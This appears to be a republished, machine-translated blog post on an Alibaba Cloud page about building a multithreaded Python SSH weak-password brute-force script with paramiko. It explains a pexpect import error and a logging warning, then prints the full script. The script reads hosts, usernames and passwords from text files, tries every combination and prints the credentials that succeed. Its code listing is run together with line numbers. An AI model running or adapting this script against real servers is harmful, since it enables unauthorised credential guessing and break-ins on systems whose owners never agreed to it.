The Python ssh weak password blasting multithreading script and some errors and problems encountered

Source: Internet
Author: User

Practice writing an SSH weak password blasting multi-threaded script, problems encountered

1, initially want to import pexpect in the PXSSH but has always been wrong,

Importerror:cannot Import Name Spawn

Google's questions are vague and unclear. Some said that the Pexpect module is not installed, some say is the problem of Python import, because in the Lib has already had the Spawn module, and Pexpect module spawn duplicate name, so error. But it's not clear what to do about it. Finally, here we see the cause of the problem, it turns out that Pexpect does not support windows at all, and we can use the Paramiko module to solve this problem.

2, after writing the code, using multi-threading, although not error, but the result will be a warning,

Hint: No handlers could is found for logger "Paramiko.transport"

I found the solution on this website this_web. Just add one line of code.

Paramiko.util.log_to_file ("Filename.log")

Because we do not have a log configured, the root application and module do not know where to send the logs. So just log all the connections to the file.

Code ugly will see.

1 #!usr/bin/env python2 #!coding=utf-83 4 __author__='Zhengjim'5 6 ImportParamiko7  fromThreadingImportThread8 9 defConnect (host,user,pwd):Ten     Try: OneSsh=Paramiko. Sshclient () A Ssh.set_missing_host_key_policy (Paramiko. Autoaddpolicy ()) -Ssh.connect (hostname=host,username=user,password=pwd,timeout=5) - ssh.close () the         Print 'cracked success! User name:'+ user +', Password:'+ pwd +', host IP:'+Host -     except: -         Pass -Paramiko.util.log_to_file ("Filename.log")  +Host=open ('Host.txt') -  forLineinchHost: +Host=line.strip ('\ n') A     Print 'Start blasting Host:'+Host atUser=open ('User.txt') -      forLineinchUser: -User=line.strip ('\ n') -PWD =open ('Pwd.txt') -          forLineinchpwd: -PWD = Line.strip ('\ n') inT=thread (target=connect,args=(host,user,pwd)) -T.start ()

Host.txt,user.txt,pwd.txt three files required in the directory

Another problem is that because of the use of multi-threading, and do not know much about multithreading, so the program can not match to the correct account password after jumping out of the loop. I hope Daniel can teach me. ~

The Python ssh weak password blasting multithreading script and some errors and problems encountered

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.